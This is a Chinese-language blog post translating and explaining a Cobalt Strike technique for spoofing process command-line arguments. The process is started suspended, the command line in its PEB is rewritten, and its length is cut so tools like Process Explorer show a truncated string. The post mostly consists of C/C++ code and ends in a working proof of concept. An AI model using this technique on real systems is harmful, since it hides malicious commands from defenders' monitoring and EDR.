Learning Man's Blog

CobaltStrike Argue 原理 - 翻译文

字数统计: 1.3k阅读时长: 6 min
2020/08/04 Share

看 youtube 视频介绍,此攻击原本是为了对抗 EDR 检测或延迟 AV 查杀的手段

原理很简单,通过设置CREATE_SUSPENDED挂起进程启动,再通过PEB修改ProcessParameters中实际将要执行的命令字符串,最后ResumeThread恢复进程 → 暗度陈仓

在实现时,延伸出来两个小问题(技巧)

  1. 如何获取 PEB 并更新
  2. 绕过 PEB 副本检测

CreateProcess

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

CreateProcessA函数中我们关注到lpCommandLine和dwCreationFlags

  • lpCommandLine:要执行的命令行 -> 明面上要执行的命令行
  • dwCreationFlags:流程创建标志

流程创建标志中多个标记使用|(或)运算叠加,有以下几个常数值需要关注

常数/值 描述
CREATE_NEW_CONSOLE
0x00000010
新进程具有一个新的控制台,而不是继承其父级的控制台(默认)。有关更多信息,请参见创建控制台。
该标志不能与DETACHED_PROCESS一起使用。
CREATE_NO_WINDOW
0x08000000
该过程是一个没有控制台窗口即可运行的控制台应用程序。因此,未设置应用程序的控制台句柄。
如果该应用程序不是控制台应用程序,或者与CREATE_NEW_CONSOLEDETACHED_PROCESS一起使用,则将忽略此标志。
CREATE_SUSPENDED
0x00000004
新进程的主线程在挂起状态下创建,并且直到调用ResumeThread函数才运行。

以下试图创建一个进程并挂起,我们接下来将修改此进程

STARTUPINFOA si;
PROCESS_INFORMATION pi;

CreateProcessA(
    NULL,
    "cmd.exe",
    NULL,
    NULL,
    FALSE,
    CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
    NULL,
    "C:\\Windows\\System32\\",
    &si,
    &pi);

PEB

首先看在 PEB 结构,我们主要关注 ProcessParameters

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  PVOID                         Reserved4[3];
  PVOID                         AtlThunkSListPtr;
  PVOID                         Reserved5;
  ULONG                         Reserved6;
  PVOID                         Reserved7;
  ULONG                         Reserved8;
  ULONG                         AtlThunkSListPtr32;
  PVOID                         Reserved9[45];
  BYTE                          Reserved10[96];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved11[128];
  PVOID                         Reserved12[1];
  ULONG                         SessionId;
} PEB, *PPEB;

PRTL_USER_PROCESS_PARAMETERS 结构体

typedef struct _RTL_USER_PROCESS_PARAMETERS {
  BYTE           Reserved1[16];
  PVOID          Reserved2[10];
  UNICODE_STRING ImagePathName;
  UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

UNICODE_STRING 类型结构体

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

在上面通过创建并挂起进程后,接下来我们将通过NtQueryInformationProcess来获取 PEB 地址,这个函数未公开所以需要GetProcAddress从 DLL 中检索出函数地址

typedef NTSTATUS (*NtQueryInformationProcess)(
  IN HANDLE,
  IN PROCESSINFOCLASS,
  OUT PVOID,
  IN ULONG,
  OUT PULONG
);

NtQueryInformationProcess ntip = (NtQueryInformationProcess)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");

PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;

ntpi(
    pi.hProcess,
    ProcessBasicInformation,
    &pbi,
    sizeof(pbi),
    &retLen
);

通过 PEB 标记的地址,使用ReadProcessMemory读取目标进程的 PEB 信息

PEB pebLocal;
BOOL success;

success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);

进一步获取ProcessParameters结构体信息

void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
    SIZE_T bytesRead;
    char* alloc;

    alloc = (char*)malloc(bytes);
    if (alloc == NULL) {
        return NULL;
    }

    if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
        free(alloc);
        return NULL;
    }

    return alloc;
}

RTL_USER_PROCESS_PARAMETERS* parameters;

parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
    pi.hProcess, 
    pebLocal.ProcessParameters, 
    sizeof(RTL_USER_PROCESS_PARAMETERS)
);

接下来便是修改ProcessParameters中的CommandLine,其对应类型为UNICODE_STRING

BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
    SIZE_T bytesWritten;

    if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
        return false;
    }

    return true;
}

success = writeProcessMemory(
    pi.hProcess, 
    parameters->CommandLine.Buffer, 
    (void*)L"cmd.exe /k dir\0", 
    30);

绕过PEB副本检测

作者提到类似ProcessExplorer工具会检索PEB副本,导致隐藏参数失败,注意到_RTL_USER_PROCESS_PARAMETERS中的CommandLine参数为_UNICODE_STRING类型

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

当设置Length < sizeof(Buffer)时,对于ProcessHacker和ProcessExplorer,都会终止显示Length字节后面的字符串,但同时并不影响进程的运行

ProcessExplorer ProcessMonitor
长度限制 命令隐藏
-w501 -w638

Poc

#include <iostream>
#include <windows.h>
#include <winternl.h>

#define CMD_TO_SHOW "powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'"
#define CMD_TO_EXEC L"powershell.exe -NoExit -c Write-Host Surprise, arguments spoofed\0"

typedef NTSTATUS(*NtQueryInformationProcess2)(
    IN HANDLE,
    IN PROCESSINFOCLASS,
    OUT PVOID,
    IN ULONG,
    OUT PULONG
    );

void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
    SIZE_T bytesRead;
    char* alloc;

    alloc = (char*)malloc(bytes);
    if (alloc == NULL) {
        return NULL;
    }

    if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
        free(alloc);
        return NULL;
    }

    return alloc;
}

BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
    SIZE_T bytesWritten;

    if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
        return false;
    }

    return true;
}

int main(int argc, char** canttrustthis)
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    CONTEXT context;
    BOOL success;
    PROCESS_BASIC_INFORMATION pbi;
    DWORD retLen;
    SIZE_T bytesRead;
    PEB pebLocal;
    RTL_USER_PROCESS_PARAMETERS* parameters;

    printf("Argument Spoofing Example by @_xpn_\n\n");

    memset(&si, 0, sizeof(si));
    memset(&pi, 0, sizeof(pi));

    // Start process suspended
    success = CreateProcessA(
        NULL,
        (LPSTR)CMD_TO_SHOW,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
        NULL,
        "C:\\Windows\\System32\\",
        &si,
        &pi);

    if (success == FALSE) {
        printf("[!] Error: Could not call CreateProcess\n");
        return 1;
    }

    // Retrieve information on PEB location in process
    NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
    ntpi(
        pi.hProcess,
        ProcessBasicInformation,
        &pbi,
        sizeof(pbi),
        &retLen
    );

    // Read the PEB from the target process
    success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
    if (success == FALSE) {
        printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
        return 1;
    }

    // Grab the ProcessParameters from PEB
    parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
        pi.hProcess,
        pebLocal.ProcessParameters,
        sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
    );

    // Set the actual arguments we are looking to use
    WCHAR spoofed[] = CMD_TO_EXEC;
    success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed));
    if (success == FALSE) {
        printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
        return 1;
    }

    /////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer /////////

    // Update the CommandLine length (Remember, UNICODE length here)
    DWORD newUnicodeLen = 28;

    success = writeProcessMemory(
        pi.hProcess,
        (char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
        (void*)&newUnicodeLen,
        4
    );
    if (success == FALSE) {
        printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
        return 1;
    }

    // Resume thread execution*/
    ResumeThread(pi.hThread);
}

思考

同这篇文章一起的还有父进程ID欺骗,这两个手段结合一起生成一个易用 exe 应该是很有效的红队手段,比如随机生成伪装命令、自动伪装,这样在来不及清理历史记录的情况下也能延缓蓝队的步伐…

但是奈何不会 c++,先留个坑

参考资料

  1. How to Argue like Cobalt Strike
  2. The return of the spoof part 2: Command line spoofing
  3. Red Teaming in the EDR age
  4. 基于直接内核对象操作的进程伪装保护方法
CATALOG
  1. CreateProcess
  2. PEB
  3. 绕过PEB副本检测
  4. Poc
  5. 思考
  6. 参考资料